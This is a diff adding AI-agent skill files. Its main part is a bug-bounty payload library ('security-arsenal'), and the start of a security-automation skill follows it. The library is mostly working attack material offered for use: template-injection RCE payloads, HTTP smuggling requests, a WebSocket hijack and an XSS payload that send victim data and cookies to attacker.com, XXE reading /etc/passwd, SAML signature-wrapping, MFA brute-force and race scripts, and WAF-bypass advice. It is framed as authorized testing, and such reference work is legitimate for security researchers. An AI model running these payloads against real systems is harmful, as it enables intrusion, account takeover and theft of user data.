- package/bundled-skills/web3-audit/SKILL.md +445 -0
- package/bundled-skills/web3-audit/references/details.md +224 -0
- package/bundled-skills/windows-hardening/SKILL.md +454 -0
- package/bundled-skills/windows-hardening/references/details.md +204 -0
- package/bundled-skills/windows-server/SKILL.md +318 -0
- package/bundled-skills/writing-guidelines/SKILL.md +60 -0
- package/bundled-skills/zero-trust/SKILL.md +461 -0
- package/package.json +1 -1
- package/skills_index.json +7874 -277
|
@@ -0,0 +1,540 @@
|
|
|
1
|
+
# Details (moved from SKILL.md)
|
|
2
|
+
|
|
3
|
+
> Extended reference content for `security-arsenal`, kept under `references/` so the entrypoint stays within the audit budget.
|
|
4
|
+
|
|
5
|
+
## SSTI DETECTION PAYLOADS (All Engines)
|
|
6
|
+
|
|
7
|
+
### Universal Probe (send all, observe which evaluate)
|
|
8
|
+
```
|
|
9
|
+
{{7*7}} → 49 = Jinja2 (Python) or Twig (PHP)
|
|
10
|
+
${7*7} → 49 = Freemarker (Java) or Spring EL
|
|
11
|
+
<%= 7*7 %> → 49 = ERB (Ruby) or EJS (Node.js)
|
|
12
|
+
#{7*7} → 49 = Mako (Python) or Pebble (Java)
|
|
13
|
+
*{7*7} → 49 = Spring Thymeleaf
|
|
14
|
+
{{7*'7'}} → 7777777 = Jinja2 (not Twig — Twig gives 49)
|
|
15
|
+
${"freemarker.template.utility.Execute"?new()("id")} → Freemarker RCE
|
|
16
|
+
```
|
|
17
|
+
|
|
18
|
+
### RCE Payloads by Engine
|
|
19
|
+
|
|
20
|
+
**Jinja2 (Python/Flask/Django):**
|
|
21
|
+
```python
|
|
22
|
+
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
|
|
23
|
+
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
|
|
24
|
+
{{''.__class__.__mro__[1].__subclasses__()[396] ('id',shell=True,stdout=-1).communicate()[0].strip()}}
|
|
25
|
+
```
|
|
26
|
+
|
|
27
|
+
**Twig (PHP/Symfony):**
|
|
28
|
+
```php
|
|
29
|
+
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
|
|
30
|
+
{{['id']|filter('system')}}
|
|
31
|
+
```
|
|
32
|
+
|
|
33
|
+
**Freemarker (Java):**
|
|
34
|
+
```
|
|
35
|
+
${"freemarker.template.utility.Execute"?new()("id")}
|
|
36
|
+
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
|
|
37
|
+
```
|
|
38
|
+
|
|
39
|
+
**ERB (Ruby on Rails):**
|
|
40
|
+
```ruby
|
|
41
|
+
<%= `id` %>
|
|
42
|
+
<%= system("id") %>
|
|
43
|
+
<%= IO.popen('id').read %>
|
|
44
|
+
```
|
|
45
|
+
|
|
46
|
+
**Spring Thymeleaf:**
|
|
47
|
+
```java
|
|
48
|
+
${T(java.lang.Runtime).getRuntime().exec('id')}
|
|
49
|
+
__${T(java.lang.Runtime).getRuntime().exec("id")}__::.x
|
|
50
|
+
```
|
|
51
|
+
|
|
52
|
+
**EJS (Node.js):**
|
|
53
|
+
```javascript
|
|
54
|
+
<%= process.mainModule.require('child_process').execSync('id') %>
|
|
55
|
+
```
|
|
56
|
+
|
|
57
|
+
### Where to Test
|
|
58
|
+
```
|
|
59
|
+
Name/bio/username fields, email subject templates, invoice/PDF generators,
|
|
60
|
+
URL path parameters reflected in page, error messages, search query reflections,
|
|
61
|
+
HTTP headers that appear in rendered responses, notification templates
|
|
62
|
+
```
|
|
63
|
+
|
|
64
|
+
---
|
|
65
|
+
|
|
66
|
+
|
|
67
|
+
## HTTP SMUGGLING PAYLOADS
|
|
68
|
+
|
|
69
|
+
### CL.TE — Content-Length front-end, Transfer-Encoding back-end
|
|
70
|
+
```http
|
|
71
|
+
POST / HTTP/1.1
|
|
72
|
+
Host: target.com
|
|
73
|
+
Content-Length: 13
|
|
74
|
+
Transfer-Encoding: chunked
|
|
75
|
+
|
|
76
|
+
0
|
|
77
|
+
|
|
78
|
+
SMUGGLED
|
|
79
|
+
```
|
|
80
|
+
|
|
81
|
+
### TE.CL — Transfer-Encoding front-end, Content-Length back-end
|
|
82
|
+
```http
|
|
83
|
+
POST / HTTP/1.1
|
|
84
|
+
Host: target.com
|
|
85
|
+
Transfer-Encoding: chunked
|
|
86
|
+
Content-Length: 3
|
|
87
|
+
|
|
88
|
+
8
|
|
89
|
+
SMUGGLED
|
|
90
|
+
0
|
|
91
|
+
|
|
92
|
+
|
|
93
|
+
```
|
|
94
|
+
|
|
95
|
+
### TE.TE — Both support Transfer-Encoding, obfuscate to disable one
|
|
96
|
+
```http
|
|
97
|
+
# Obfuscate the TE header so one layer ignores it
|
|
98
|
+
Transfer-Encoding: xchunked
|
|
99
|
+
Transfer-Encoding: chunked
|
|
100
|
+
Transfer-Encoding: chunked
|
|
101
|
+
Transfer-Encoding: x
|
|
102
|
+
|
|
103
|
+
Transfer-Encoding:[tab]chunked
|
|
104
|
+
[space]Transfer-Encoding: chunked
|
|
105
|
+
X: X[\n]Transfer-Encoding: chunked
|
|
106
|
+
Transfer-Encoding
|
|
107
|
+
: chunked
|
|
108
|
+
```
|
|
109
|
+
|
|
110
|
+
### H2.CL — HTTP/2 front-end with Content-Length injection
|
|
111
|
+
```
|
|
112
|
+
# In Burp Repeater, switch to HTTP/2
|
|
113
|
+
# Add Content-Length header manually (not auto-set by HTTP/2)
|
|
114
|
+
# Front-end ignores CL (HTTP/2 uses :content-length pseudo-header)
|
|
115
|
+
# Back-end uses CL → desync
|
|
116
|
+
```
|
|
117
|
+
|
|
118
|
+
### Detection (Burp)
|
|
119
|
+
```
|
|
120
|
+
1. Install HTTP Request Smuggler extension
|
|
121
|
+
2. Right-click request → Extensions → HTTP Request Smuggler → Smuggle probe
|
|
122
|
+
3. All four probe types automatically sent
|
|
123
|
+
4. ~10-second timeout on CL.TE probe = back-end waiting = CONFIRMED
|
|
124
|
+
```
|
|
125
|
+
|
|
126
|
+
### Impact Chain
|
|
127
|
+
```
|
|
128
|
+
Basic desync → Capture victim's next request → Read their auth token
|
|
129
|
+
+ Admin user traffic → Access admin as victim
|
|
130
|
+
+ Cache poisoning → Stored XSS at scale for all users
|
|
131
|
+
```
|
|
132
|
+
|
|
133
|
+
---
|
|
134
|
+
|
|
135
|
+
|
|
136
|
+
## WEBSOCKET PAYLOADS
|
|
137
|
+
|
|
138
|
+
### IDOR / Auth Bypass
|
|
139
|
+
```javascript
|
|
140
|
+
// Test: subscribe to other user's channel
|
|
141
|
+
{"action": "subscribe", "channel": "user_VICTIM_ID_HERE"}
|
|
142
|
+
{"action": "get_history", "userId": "VICTIM_UUID"}
|
|
143
|
+
{"action": "getProfile", "id": 2}
|
|
144
|
+
{"action": "admin.listUsers"}
|
|
145
|
+
{"action": "admin.getToken", "userId": "1"}
|
|
146
|
+
```
|
|
147
|
+
|
|
148
|
+
### Cross-Site WebSocket Hijacking (CSWSH)
|
|
149
|
+
```html
|
|
150
|
+
<!-- Host on attacker site. If no Origin validation, steals victim's WS data. -->
|
|
151
|
+
<script>
|
|
152
|
+
var ws = new WebSocket('wss://target.com/ws');
|
|
153
|
+
// Browser automatically sends victim's cookies
|
|
154
|
+
ws.onopen = () => ws.send(JSON.stringify({action:"getProfile"}));
|
|
155
|
+
ws.onmessage = (e) => fetch('https://attacker.com/?d='+encodeURIComponent(e.data));
|
|
156
|
+
</script>
|
|
157
|
+
```
|
|
158
|
+
|
|
159
|
+
### Test Origin Validation
|
|
160
|
+
```bash
|
|
161
|
+
# Should reject non-target origins. If it doesn't = CSWSH vulnerability
|
|
162
|
+
wscat -c "wss://target.com/ws" -H "Origin: https://evil.com"
|
|
163
|
+
wscat -c "wss://target.com/ws" -H "Origin: null"
|
|
164
|
+
wscat -c "wss://target.com/ws" -H "Origin: https://target.com.evil.com"
|
|
165
|
+
```
|
|
166
|
+
|
|
167
|
+
### Injection via WS Messages
|
|
168
|
+
```javascript
|
|
169
|
+
// XSS in chat/notification system
|
|
170
|
+
{"message": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"}
|
|
171
|
+
|
|
172
|
+
// SQLi
|
|
173
|
+
{"action": "search", "query": "' OR 1=1--"}
|
|
174
|
+
|
|
175
|
+
// SSRF (if server fetches URLs from messages)
|
|
176
|
+
{"action": "preview", "url": "http://169.254.169.254/latest/meta-data/"}
|
|
177
|
+
```
|
|
178
|
+
|
|
179
|
+
---
|
|
180
|
+
|
|
181
|
+
|
|
182
|
+
## MFA / 2FA BYPASS PAYLOADS
|
|
183
|
+
|
|
184
|
+
### Pattern 1: OTP Brute Force (no rate limit)
|
|
185
|
+
```bash
|
|
186
|
+
# Try all 6-digit OTPs
|
|
187
|
+
ffuf -u "https://target.com/api/verify-otp" \
|
|
188
|
+
-X POST \
|
|
189
|
+
-H "Content-Type: application/json" \
|
|
190
|
+
-H "Cookie: session=YOUR_SESSION" \
|
|
191
|
+
-d '{"otp":"FUZZ"}' \
|
|
192
|
+
-w <(seq -w 000000 999999) \
|
|
193
|
+
-fc 400,429 \
|
|
194
|
+
-t 5
|
|
195
|
+
|
|
196
|
+
# Rate limit bypass: rotate session tokens between requests
|
|
197
|
+
# Or use GraphQL batching to send 100 attempts per request
|
|
198
|
+
```
|
|
199
|
+
|
|
200
|
+
### Pattern 2: OTP Reuse (token not invalidated)
|
|
201
|
+
```
|
|
202
|
+
1. Request OTP → receive "123456"
|
|
203
|
+
2. Submit OTP correctly → authenticated
|
|
204
|
+
3. Log out
|
|
205
|
+
4. Log in again
|
|
206
|
+
5. Submit same OTP "123456" (expired? still works?)
|
|
207
|
+
6. Try OTP from previous session at new login
|
|
208
|
+
```
|
|
209
|
+
|
|
210
|
+
### Pattern 3: Response Manipulation
|
|
211
|
+
```
|
|
212
|
+
Step 1: Enter wrong OTP → intercept response in Burp
|
|
213
|
+
Step 2: Change: {"success": false, "message": "Invalid OTP"} → {"success": true}
|
|
214
|
+
Step 3: Forward modified response → sometimes app trusts it and proceeds
|
|
215
|
+
Also try: change status code 401 → 200, or change redirect from /failed to /dashboard
|
|
216
|
+
```
|
|
217
|
+
|
|
218
|
+
### Pattern 4: Code Predictability
|
|
219
|
+
```python
|
|
220
|
+
import requests, time
|
|
221
|
+
|
|
222
|
+
# Some implementations use timestamp-based OTPs:
|
|
223
|
+
for t_offset in range(-30, 31): # Test ±30 seconds
|
|
224
|
+
totp_value = generate_totp(secret, time.time() + t_offset)
|
|
225
|
+
r = requests.post("https://target.com/api/mfa", json={"otp": totp_value})
|
|
226
|
+
if r.status_code == 200:
|
|
227
|
+
print(f"VALID at offset {t_offset}s: {totp_value}")
|
|
228
|
+
break
|
|
229
|
+
```
|
|
230
|
+
|
|
231
|
+
### Pattern 5: Backup Codes Not Rate Limited
|
|
232
|
+
```bash
|
|
233
|
+
# Backup codes are typically 8-character alphanumeric = smaller space than 6-digit TOTP
|
|
234
|
+
# Try brute force on /api/verify-backup-code if no rate limit
|
|
235
|
+
```
|
|
236
|
+
|
|
237
|
+
### Pattern 6: Skip MFA Step (Workflow Bypass)
|
|
238
|
+
```bash
|
|
239
|
+
# After entering username/password, you get a session cookie
|
|
240
|
+
# Test: skip the /mfa/verify step entirely, go directly to /dashboard
|
|
241
|
+
# If cookie grants access before MFA = auth flow bypass
|
|
242
|
+
|
|
243
|
+
# Also: complete MFA in one session, reuse cookie in another browser
|
|
244
|
+
# Checks whether MFA completion is tied to the specific session
|
|
245
|
+
```
|
|
246
|
+
|
|
247
|
+
### Pattern 7: Race on MFA Verification
|
|
248
|
+
```python
|
|
249
|
+
import asyncio, aiohttp
|
|
250
|
+
|
|
251
|
+
# Race 2 MFA verifications simultaneously
|
|
252
|
+
# If both succeed = parallel session ATO
|
|
253
|
+
async def verify(session, otp):
|
|
254
|
+
async with session.post("https://target.com/api/mfa/verify",
|
|
255
|
+
json={"otp": otp}) as r:
|
|
256
|
+
return await r.json()
|
|
257
|
+
|
|
258
|
+
async def race():
|
|
259
|
+
async with aiohttp.ClientSession(cookies={"session": "YOUR_SESSION"}) as s:
|
|
260
|
+
results = await asyncio.gather(verify(s, "123456"), verify(s, "123456"))
|
|
261
|
+
print(results)
|
|
262
|
+
|
|
263
|
+
asyncio.run(race())
|
|
264
|
+
```
|
|
265
|
+
|
|
266
|
+
---
|
|
267
|
+
|
|
268
|
+
|
|
269
|
+
## SAML ATTACKS
|
|
270
|
+
|
|
271
|
+
### Attack 1: XML Signature Wrapping (XSW)
|
|
272
|
+
```xml
|
|
273
|
+
<!-- Original valid assertion: -->
|
|
274
|
+
<saml:Assertion ID="legit">
|
|
275
|
+
<NameID>user@company.com</NameID>
|
|
276
|
+
<ds:Signature>VALID_SIGNATURE_OVER_legit</ds:Signature>
|
|
277
|
+
</saml:Assertion>
|
|
278
|
+
|
|
279
|
+
<!-- XSW: Inject malicious assertion before/after the signed one. -->
|
|
280
|
+
<!-- Server validates signature on #legit but processes #evil instead. -->
|
|
281
|
+
<saml:Response>
|
|
282
|
+
<saml:Assertion ID="evil">
|
|
283
|
+
<NameID>admin@company.com</NameID> <!-- Attacker-controlled -->
|
|
284
|
+
</saml:Assertion>
|
|
285
|
+
<saml:Assertion ID="legit"> <!-- Original stays valid -->
|
|
286
|
+
<NameID>user@company.com</NameID>
|
|
287
|
+
<ds:Signature>VALID_SIGNATURE</ds:Signature>
|
|
288
|
+
</saml:Assertion>
|
|
289
|
+
</saml:Response>
|
|
290
|
+
```
|
|
291
|
+
|
|
292
|
+
### Attack 2: Comment Injection in NameID
|
|
293
|
+
```xml
|
|
294
|
+
<!-- Original: user@company.com -->
|
|
295
|
+
<!-- Injected: -->
|
|
296
|
+
<NameID>admin<!---->@company.com</NameID>
|
|
297
|
+
<!-- XML parsers strip comments: admin@company.com -->
|
|
298
|
+
<!-- SAML validator sees "user@company.com" (before comment) -->
|
|
299
|
+
<!-- Application uses "admin@company.com" (after comment stripped) -->
|
|
300
|
+
```
|
|
301
|
+
|
|
302
|
+
### Attack 3: Signature Stripping
|
|
303
|
+
```
|
|
304
|
+
1. Capture SAMLResponse (base64 decode from browser)
|
|
305
|
+
2. Remove or modify the <Signature> element entirely
|
|
306
|
+
3. Change NameID to admin@company.com
|
|
307
|
+
4. Re-encode and submit
|
|
308
|
+
5. If server doesn't validate signature presence = admin login
|
|
309
|
+
```
|
|
310
|
+
|
|
311
|
+
### Attack 4: XXE in SAML Assertion
|
|
312
|
+
```xml
|
|
313
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
314
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
|
315
|
+
<saml:Response>
|
|
316
|
+
<saml:Assertion>
|
|
317
|
+
<NameID>&xxe;</NameID>
|
|
318
|
+
</saml:Assertion>
|
|
319
|
+
</saml:Response>
|
|
320
|
+
```
|
|
321
|
+
|
|
322
|
+
### Tools
|
|
323
|
+
```bash
|
|
324
|
+
# SAMLRaider (Burp extension) — most automated XSW testing
|
|
325
|
+
# Install from BApp Store, intercept SAMLResponse, right-click → SAML Raider
|
|
326
|
+
|
|
327
|
+
# Manual: decode, modify, re-encode
|
|
328
|
+
echo "BASE64_SAML_RESPONSE" | base64 -d | xmllint --format - > saml.xml <!-- security-allowlist: documented payload decoding technique reference, do not execute outside authorized scope -->
|
|
329
|
+
# Edit saml.xml
|
|
330
|
+
cat saml.xml | base64 -w0 # Re-encode
|
|
331
|
+
```
|
|
332
|
+
|
|
333
|
+
---
|
|
334
|
+
|
|
335
|
+
|
|
336
|
+
## GF PATTERN NAMES (tomnomnom/gf)
|
|
337
|
+
|
|
338
|
+
```bash
|
|
339
|
+
# Install: https://github.com/tomnomnom/gf
|
|
340
|
+
# Usage: cat urls.txt | gf PATTERN
|
|
341
|
+
|
|
342
|
+
gf xss # XSS parameters
|
|
343
|
+
gf ssrf # SSRF parameters
|
|
344
|
+
gf idor # IDOR parameters
|
|
345
|
+
gf sqli # SQL injection parameters
|
|
346
|
+
gf redirect # Open redirect parameters
|
|
347
|
+
gf lfi # Local file inclusion
|
|
348
|
+
gf rce # Remote code execution parameters
|
|
349
|
+
gf ssti # Template injection parameters
|
|
350
|
+
gf debug_logic # Debug/logic parameters
|
|
351
|
+
gf secrets # Secret/token patterns
|
|
352
|
+
gf upload-fields # File upload parameters
|
|
353
|
+
gf cors # CORS-related parameters
|
|
354
|
+
```
|
|
355
|
+
|
|
356
|
+
---
|
|
357
|
+
|
|
358
|
+
|
|
359
|
+
## ALWAYS REJECTED — NEVER SUBMIT
|
|
360
|
+
|
|
361
|
+
Submitting these destroys your validity ratio. N/A hurts. Don't.
|
|
362
|
+
|
|
363
|
+
```
|
|
364
|
+
Missing CSP / HSTS / X-Frame-Options / other security headers
|
|
365
|
+
Missing SPF / DKIM / DMARC
|
|
366
|
+
GraphQL introspection alone (no auth bypass, no IDOR)
|
|
367
|
+
Banner / version disclosure without a working CVE exploit
|
|
368
|
+
Clickjacking on non-sensitive pages (no sensitive action in PoC)
|
|
369
|
+
Tabnabbing
|
|
370
|
+
CSV injection (no actual code execution shown)
|
|
371
|
+
CORS wildcard (*) without credential exfil PoC
|
|
372
|
+
Logout CSRF
|
|
373
|
+
Self-XSS (only exploits own account)
|
|
374
|
+
Open redirect alone (no ATO chain, no OAuth code theft)
|
|
375
|
+
OAuth client_secret in mobile app (disclosed, expected)
|
|
376
|
+
SSRF with DNS callback only (no internal service access)
|
|
377
|
+
Host header injection alone (no password reset poisoning PoC)
|
|
378
|
+
Rate limit on non-critical forms (login page Cloudflare, search, contact)
|
|
379
|
+
Session not invalidated on logout
|
|
380
|
+
Concurrent sessions allowed
|
|
381
|
+
Internal IP address in error message
|
|
382
|
+
Mixed content (HTTP resources on HTTPS page)
|
|
383
|
+
SSL weak cipher suites
|
|
384
|
+
Missing HttpOnly / Secure cookie flags alone
|
|
385
|
+
Broken external links
|
|
386
|
+
Pre-account takeover (usually — requires very specific conditions)
|
|
387
|
+
Autocomplete on password fields
|
|
388
|
+
```
|
|
389
|
+
|
|
390
|
+
---
|
|
391
|
+
|
|
392
|
+
|
|
393
|
+
## CONDITIONALLY VALID — REQUIRES CHAIN
|
|
394
|
+
|
|
395
|
+
These are valid ONLY when combined with a chain that proves real impact:
|
|
396
|
+
|
|
397
|
+
| Standalone Finding | Chain Required | Result if Chained |
|
|
398
|
+
|---|---|---|
|
|
399
|
+
| Open redirect | + OAuth code theft via redirect_uri abuse | ATO (Critical) |
|
|
400
|
+
| Clickjacking | + sensitive action + working PoC (not just login) | Medium |
|
|
401
|
+
| CORS wildcard | + credentialed request exfils user data | High |
|
|
402
|
+
| CSRF | + sensitive action (transfer funds, change email) | High |
|
|
403
|
+
| Rate limit bypass | + OTP/token brute force succeeding | Medium/High |
|
|
404
|
+
| SSRF DNS-only | + internal service access + data retrieval | Medium |
|
|
405
|
+
| Host header injection | + password reset email uses it | High |
|
|
406
|
+
| Prompt injection | + reads other user's data (IDOR) OR exfil OR RCE | High |
|
|
407
|
+
| S3 bucket listing | + JS bundles with API keys/OAuth secrets | Medium/High |
|
|
408
|
+
| Self-XSS | + CSRF to trigger it on victim | Medium |
|
|
409
|
+
| Subdomain takeover | + OAuth redirect_uri registered at that subdomain | Critical |
|
|
410
|
+
| GraphQL introspection | + auth bypass mutation or IDOR on node() | High |
|
|
411
|
+
|
|
412
|
+
**Rule:** Build the chain first, confirm it works end-to-end, THEN report. Never report A and say "could chain with B" — prove it.
|
|
413
|
+
|
|
414
|
+
---
|
|
415
|
+
|
|
416
|
+
|
|
417
|
+
## WORDLISTS (Installed in ~/wordlists/)
|
|
418
|
+
|
|
419
|
+
```
|
|
420
|
+
common.txt # Common directories and files
|
|
421
|
+
params.txt # Parameter names (id, user_id, file, etc.)
|
|
422
|
+
api-endpoints.txt # API endpoint paths (/api/v1/users, etc.)
|
|
423
|
+
dirs.txt # Directory names
|
|
424
|
+
sensitive.txt # Sensitive paths (.env, config.json, backup, etc.)
|
|
425
|
+
```
|
|
426
|
+
|
|
427
|
+
### Built-in Paths Worth Fuzzing
|
|
428
|
+
|
|
429
|
+
```bash
|
|
430
|
+
# Sensitive files
|
|
431
|
+
/.env
|
|
432
|
+
/.git/config
|
|
433
|
+
/config.json
|
|
434
|
+
/credentials.json
|
|
435
|
+
/backup.sql
|
|
436
|
+
/dump.sql
|
|
437
|
+
/.DS_Store
|
|
438
|
+
/robots.txt
|
|
439
|
+
/sitemap.xml
|
|
440
|
+
/.well-known/security.txt
|
|
441
|
+
|
|
442
|
+
# Admin panels
|
|
443
|
+
/admin
|
|
444
|
+
/admin/login
|
|
445
|
+
/administrator
|
|
446
|
+
/wp-admin
|
|
447
|
+
/manager
|
|
448
|
+
/console
|
|
449
|
+
/dashboard
|
|
450
|
+
/panel
|
|
451
|
+
|
|
452
|
+
# API discovery
|
|
453
|
+
/api
|
|
454
|
+
/api/v1
|
|
455
|
+
/api/v2
|
|
456
|
+
/graphql
|
|
457
|
+
/graphiql
|
|
458
|
+
/swagger
|
|
459
|
+
/swagger-ui.html
|
|
460
|
+
/api-docs
|
|
461
|
+
/openapi.json
|
|
462
|
+
/v1
|
|
463
|
+
/v2
|
|
464
|
+
```
|
|
465
|
+
|
|
466
|
+
---
|
|
467
|
+
|
|
468
|
+
|
|
469
|
+
## Related Skills & Chains
|
|
470
|
+
|
|
471
|
+
- **`hunt-xss`** / **`hunt-ssrf`** / **`hunt-sqli`** / **`hunt-ssti`** / **`hunt-idor`** — When a hunter is actively testing a parameter and needs payloads. Workflow primitive: this skill is the payload library those hunt-* skills reach for; the hunt-* skill identifies the sink, this skill provides the syntax.
|
|
472
|
+
- **`triage-validation`** — When deciding if a finding is reportable at all. Workflow primitive: the "Always Rejected" and "Conditionally Valid — Requires Chain" tables in both skills must agree; `triage-validation` runs the 7-Question Gate, this skill provides the chain-required mapping used by Q7.
|
|
473
|
+
- **`web2-recon`** — When the URL set has been classified by `gf` patterns. Workflow primitive: `gf xss/ssrf/sqli` outputs from recon → look up the corresponding payload section here; `gf` pattern names index directly into this skill's payload sections.
|
|
474
|
+
- **`evidence-hygiene`** — When a payload produces output worth screenshotting. Workflow primitive: after a payload demonstrates impact (cookie theft, data exfil), hand off to `evidence-hygiene` for redaction before the screenshot becomes evidence.
|
|
475
|
+
- **`bb-methodology`** — When Phase 3 (Discovery) routes by input type. Workflow primitive: Phase 3's decision flow ("ID param → IDOR checklist", "URL input → SSRF checklist") names which section of this arsenal to load.
|
|
476
|
+
|
|
477
|
+
---
|
|
478
|
+
|
|
479
|
+
|
|
480
|
+
## Operator Notes (Claude-BugHunter)
|
|
481
|
+
|
|
482
|
+
> Engagement-derived + 2026-specific additions to the vendored foundation.
|
|
483
|
+
> Wisdom from real authorized engagements + Phase 2 verification across
|
|
484
|
+
> this repo's 31+ skill-area live tests. The upstream payload library
|
|
485
|
+
> covers the WHAT; this layer covers the WHEN-IT-WORKS-vs-WHEN-IT-DOESN'T.
|
|
486
|
+
|
|
487
|
+
### Payload freshness — what's gone stale by 2026
|
|
488
|
+
|
|
489
|
+
The classic CL.TE / TE.CL HTTP smuggling payloads no longer work against Nginx ≥ 1.21, Caddy 2.x, Envoy ≥ 1.20 (verified in Phase 2H). They DO still work against HAProxy ≤ 2.4, older F5 BIG-IP, Citrix ADC, AWS ALB-specific configs, and Apache Traffic Server. Fingerprint the front-end first — `curl -sI` → `Server:` header + `Via:` chain + TLS JA3 — before burning hours on payloads that the parser already rejects at the front door.
|
|
490
|
+
|
|
491
|
+
Same story for XXE classic — Python lxml ≥ 5.x silently drops SYSTEM entities by default (Phase 2G finding). The payloads remain valid against: Java SAX, PHP DOMDocument with LIBXML_NOENT, .NET XmlDocument with XmlResolver still wired, older lxml (< 5.0), Ruby Nokogiri with DTDLOAD, and a long tail of embedded XML processors (SOAP libraries, SAML implementations, Office document parsers). The payload library still ships these — the operator decision is whether the target's parser is in the still-vulnerable set.
|
|
492
|
+
|
|
493
|
+
Other stale-by-default-but-not-everywhere payloads as of 2026: `javascript:` URLs in `<a href>` (Chrome blocks unless explicit user gesture; works in embedded WebViews, Electron, older Edge); `data:text/html` for top-level navigation (modern browsers strip in nav contexts); CRLF injection in `Location:` (most reverse proxies normalize). Always test in the actual target environment, not in a generic browser.
|
|
494
|
+
|
|
495
|
+
### WAF evaluation order matters
|
|
496
|
+
|
|
497
|
+
When multiple bypass payloads exist for the same WAF, the order to try is:
|
|
498
|
+
|
|
499
|
+
1. **Encoding tricks** — case variation (`SeLeCt`), URL-encode once, URL-encode twice, Unicode escape (`<`), HTML-entity (`<`), UTF-8 overlong sequences.
|
|
500
|
+
2. **Parser quirks** — XML namespace, JSON `\u` escapes mid-keyword, `Content-Type: application/json` vs `application/x-www-form-urlencoded` parser-confusion, multipart boundary tricks.
|
|
501
|
+
3. **Protocol-level** — HTTP/2 vs HTTP/1.1 (some WAFs only inspect one), Host header injection, `X-Original-URL`, `X-Forwarded-*` smuggling.
|
|
502
|
+
4. **WAF rule-specific bypasses** — Cloudflare, AWS WAF, Akamai, Imperva, F5 ASM each have known signature gaps; load the vendor-specific payload subsection.
|
|
503
|
+
|
|
504
|
+
Most engagements end at step 2 — modern WAFs trip on the parser-quirk class because the WAF and the origin app disagree on what's a "valid" request.
|
|
505
|
+
|
|
506
|
+
### OOB-Or-It-Didn't-Happen Gate applies everywhere
|
|
507
|
+
|
|
508
|
+
Every blind primitive (blind SQLi, blind XSS, blind SSRF, blind RCE, blind XXE) needs OOB confirmation. Without it, you can't tell the bug from a parser-error log. Phase 2D's hardened lab proved the gate kills FPs that look identical to real bugs at the surface — error messages with `you have an error in your SQL syntax` text in a 500 page can be parser logs from a different request entirely, hit a Burp Collaborator domain (or interactsh) and confirm callback before filing.
|
|
509
|
+
|
|
510
|
+
OOB callback infrastructure ranking by 2026: (1) Burp Collaborator (Pro license; cleanest), (2) interactsh-client (open source; comparable), (3) DNSLog.cn (free but logged by third party — never use for paid engagements), (4) self-hosted catch-all DNS + HTTP listener (most reliable for long-running engagements).
|
|
511
|
+
|
|
512
|
+
### Marker discipline
|
|
513
|
+
|
|
514
|
+
Generic words appear naturally in target content. A search for `javascript` hitting "JavaScript Tutorial" is not reflection — it's keyword overlap. Use unique random strings:
|
|
515
|
+
|
|
516
|
+
```
|
|
517
|
+
m=$(head -c 12 /dev/urandom | base64 | tr -d '+/=' | head -c 12)
|
|
518
|
+
# now m is like "K7gXq2pNRm1z" — search for THIS in the response
|
|
519
|
+
curl "https://target/search?q=${m}" | grep -c "$m"
|
|
520
|
+
```
|
|
521
|
+
|
|
522
|
+
If the marker appears in the response, you have reflection. If it appears unescaped in HTML context, you have XSS potential. If it appears in a Location header, redirect. If it appears in a SQL error, injection. The marker is the single source of truth — generic keywords lie.
|
|
523
|
+
|
|
524
|
+
### Statistical Sampling for noisy oracles
|
|
525
|
+
|
|
526
|
+
Single-trial timing differentials are noise. Require n≥10 interleaved trials, Welch's t-statistic > 3, or equivalent confidence-interval separation. Phase 2D verified this against a deliberately-noisy timing oracle: single trial showed 129ms delta (which would have been filed); n=10 showed mean 78ms vs 191ms with t=5.26 (real, well-supported).
|
|
527
|
+
|
|
528
|
+
Skeleton for timing-side-channel validation:
|
|
529
|
+
|
|
530
|
+
```python
|
|
531
|
+
import statistics
|
|
532
|
+
def welch_t(a, b):
|
|
533
|
+
ma, mb = statistics.mean(a), statistics.mean(b)
|
|
534
|
+
va, vb = statistics.variance(a), statistics.variance(b)
|
|
535
|
+
return (ma - mb) / ((va/len(a) + vb/len(b)) ** 0.5)
|
|
536
|
+
# interleave control + test trials, n=10 each, t > 3 = signal
|
|
537
|
+
```
|
|
538
|
+
|
|
539
|
+
Same rule applies to blind boolean oracles where the diff is response-length or status-code under jitter — sample, don't assume.
|
|
540
|
+
|
|
@@ -0,0 +1,146 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: security-automation
|
|
3
|
+
description: Automate security workflows and remediation. Build security pipelines,
|
|
4
|
+
automate compliance checks, and implement SOAR capabilities. Use when scaling security
|
|
5
|
+
operations or implementing DevSecOps.
|
|
6
|
+
category: security
|
|
7
|
+
risk: critical
|
|
8
|
+
source: https://github.com/BagelHole/DevOps-Security-Agent-Skills
|
|
9
|
+
source_repo: BagelHole/DevOps-Security-Agent-Skills
|
|
10
|
+
source_type: community
|
|
11
|
+
date_added: '2026-09-20'
|
|
12
|
+
license: MIT
|
|
13
|
+
license_source: https://github.com/BagelHole/DevOps-Security-Agent-Skills/blob/main/LICENSE
|
|
14
|
+
compatibility: Requires the relevant security tooling (scanners, vault CLIs) and an
|
|
15
|
+
authorized scope for any active assessment. Docs-only; helper scripts and templates
|
|
16
|
+
not bundled.
|
|
17
|
+
metadata:
|
|
18
|
+
author: devops-skills
|
|
19
|
+
version: '1.0'
|
|
20
|
+
---
|
|
21
|
+
|
|
22
|
+
# Security Automation
|
|
23
|
+
|
|
24
|
+
Automate security operations for scale and efficiency.
|
|
25
|
+
|
|
26
|
+
## Security Pipeline
|
|
27
|
+
|
|
28
|
+
```yaml
|
|
29
|
+
# .github/workflows/security.yml
|
|
30
|
+
name: Security Pipeline
|
|
31
|
+
|
|
32
|
+
on: [push, pull_request]
|
|
33
|
+
|
|
34
|
+
jobs:
|
|
35
|
+
security:
|
|
36
|
+
runs-on: ubuntu-latest
|
|
37
|
+
steps:
|
|
38
|
+
- uses: actions/checkout@v4
|
|
39
|
+
|
|
40
|
+
- name: Secret Scanning
|
|
41
|
+
uses: trufflesecurity/trufflehog@main
|
|
42
|
+
|
|
43
|
+
- name: SAST
|
|
44
|
+
uses: returntocorp/semgrep-action@v1
|
|
45
|
+
|
|
46
|
+
- name: Dependency Scan
|
|
47
|
+
run: npm audit --audit-level=high
|
|
48
|
+
|
|
49
|
+
